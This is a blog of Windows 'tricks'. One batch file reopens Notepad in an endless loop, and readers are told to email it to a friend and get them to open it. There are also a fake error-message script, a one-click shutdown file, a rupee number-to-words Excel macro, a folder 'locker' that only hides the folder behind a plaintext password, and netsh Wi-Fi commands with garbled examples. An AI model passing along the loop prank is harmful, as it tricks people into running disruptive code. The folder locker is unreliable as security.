Nov 10, 2017
Nov 6, 2017
Jul 15, 2017
Open Notepad Continue in Your Computer
This Notepad trick to play with your Computer System of Friends Computer would be to set off a command which would open his/her notepad repetitively.
Open Notepad and Type (Copy & Paste) this code.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as a .bat file (example- Anand.bat)
and Open this file and see Magic.
This file send through mail your friend and say open.
Enjoy.
Fake Windows Errors With Notepad (Windows_XP)
You can create Fake error message . To do this, follow these steps:
- Open Notepad
- Type X=Msgbox(“Message Here”,0+16,”Title Here”)
- Replace Message Here and Title Here with your Error Message and Error-Window Title respectively.
- Save the file with error.vbs.
- Now, click the file and you’ll get your custom-made Windows error message.
Forcefully Shutdown Windows
This trick will let you force shutdown your Windows in a single-click.
- Open Notepad
- Paste @echo off in first line.
- Paste msg * Shutdown computer in second line.
- Paste shutdown -c “Sleep Tight” -s in third line
- Save the file with .BAT extension. For example, shutdown.bat
- Click on your file and it will automatically shutdown your Windows.
Jun 19, 2017
Convert a Numeric Value Into English Words in Excel in Rupees
- Open Excel & Press Alt+F 11
- Click Insert Tab and Click Module
- Copy & Paste this code
Function SpellNumber(amt As Variant) As Variant Dim FIGURE As Variant Dim LENFIG As Integer Dim i As Integer Dim WORDs(19) As String Dim tens(9) As String WORDs(1) = "One" WORDs(2) = "Two" WORDs(3) = "Three" WORDs(4) = "Four" WORDs(5) = "Five" WORDs(6) = "Six" WORDs(7) = "Seven" WORDs(8) = "Eight" WORDs(9) = "Nine" WORDs(10) = "Ten" WORDs(11) = "Eleven" WORDs(12) = "Twelve" WORDs(13) = "Thirteen" WORDs(14) = "Fourteen" WORDs(15) = "Fifteen" WORDs(16) = "Sixteen" WORDs(17) = "Seventeen" WORDs(18) = "Eighteen" WORDs(19) = "Nineteen" tens(2) = "Twenty" tens(3) = "Thirty" tens(4) = "Fourty" tens(5) = "Fifty" tens(6) = "Sixty" tens(7) = "Seventy" tens(8) = "Eighty" tens(9) = "Ninety" FIGURE = amt FIGURE = Format(FIGURE, "FIXED") FIGLEN = Len(FIGURE) If FIGLEN < 12 Then FIGURE = Space(12 - FIGLEN) & FIGURE End If If Val(Left(FIGURE, 9)) > 1 Then SpellNumber = "Rupees " ElseIf Val(Left(FIGURE, 9)) = 1 Then SpellNumber = "Rupee " End If For i = 1 To 3 If Val(Left(FIGURE, 2)) < 20 And Val(Left(FIGURE, 2)) > 0 Then SpellNumber = SpellNumber & WORDs(Val(Left(FIGURE, 2))) ElseIf Val(Left(FIGURE, 2)) > 19 Then SpellNumber = SpellNumber & tens(Val(Left(FIGURE, 1))) SpellNumber = SpellNumber & WORDs(Val(Right(Left(FIGURE, 2), 1))) End If If i = 1 And Val(Left(FIGURE, 2)) > 0 Then SpellNumber = SpellNumber & " Crore " ElseIf i = 2 And Val(Left(FIGURE, 2)) > 0 Then SpellNumber = SpellNumber & " Lakh " ElseIf i = 3 And Val(Left(FIGURE, 2)) > 0 Then SpellNumber = SpellNumber & " Thousand " End If FIGURE = Mid(FIGURE, 3) Next i If Val(Left(FIGURE, 1)) > 0 Then SpellNumber = SpellNumber & WORDs(Val(Left(FIGURE, 1))) + " Hundred " End If FIGURE = Mid(FIGURE, 2) If Val(Left(FIGURE, 2)) < 20 And Val(Left(FIGURE, 2)) > 0 Then SpellNumber = SpellNumber & WORDs(Val(Left(FIGURE, 2))) ElseIf Val(Left(FIGURE, 2)) > 19 Then SpellNumber = SpellNumber & tens(Val(Left(FIGURE, 1))) SpellNumber = SpellNumber & WORDs(Val(Right(Left(FIGURE, 2), 1))) End If FIGURE = Mid(FIGURE, 4) If Val(FIGURE) > 0 Then SpellNumber = SpellNumber & " Paise " If Val(Left(FIGURE, 2)) < 20 And Val(Left(FIGURE, 2)) > 0 Then SpellNumber = SpellNumber & WORDs(Val(Left(FIGURE, 2))) ElseIf Val(Left(FIGURE, 2)) > 19 Then SpellNumber = SpellNumber & tens(Val(Left(FIGURE, 1))) SpellNumber = SpellNumber & WORDs(Val(Right(Left(FIGURE, 2), 1))) End If End If FIGURE = amt FIGURE = Format(FIGURE, "FIXED") If Val(FIGURE) > 0 Then SpellNumber = SpellNumber & " Only " End If End Function
and exit this window
5. type =spellnumber(colloum & row number)
and hit Enter
Enjoy
Sep 21, 2016
LOCK FOLDER WITHOUT ANY SOFTWARE
Step 1- Create A Folder Name "Private"
Step 2- Open Notepad and Copy the code
cls
@ECHO OFF
title Folder Private
if EXIST "HTG Locker" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "HTG Locker"
attrib +h +s "HTG Locker"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== CHANGE_YOUR_PASSWORD goto FAIL
attrib -h -s "HTG Locker"
ren "HTG Locker" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
Step 3- Paste it and Save the file Name abc.bat outside the folder
Step 4- Run the file
Enjoy
Jan 21, 2016
ENABLE WIFI OR WIRELESS VIA COMMAND PROMPT
1- GO TO START & OPEN CMD (RUN AS ADMINISTRATOR)
2- TYPE THIS COMMAND -
netsh interface show interface
3- FOR Enable WiFi-
netsh interface set interface "Interface Name" enabled
EXAMPLE
netsh interface set interface "Wi-Fi enable" = wifi enable
4-For Disable WiFi-
netsh interface set interface "Interface Name" disable
Example-
netsh interface set interface "Wi-Fi disable" = wifi disable
Subscribe to:
Posts (Atom)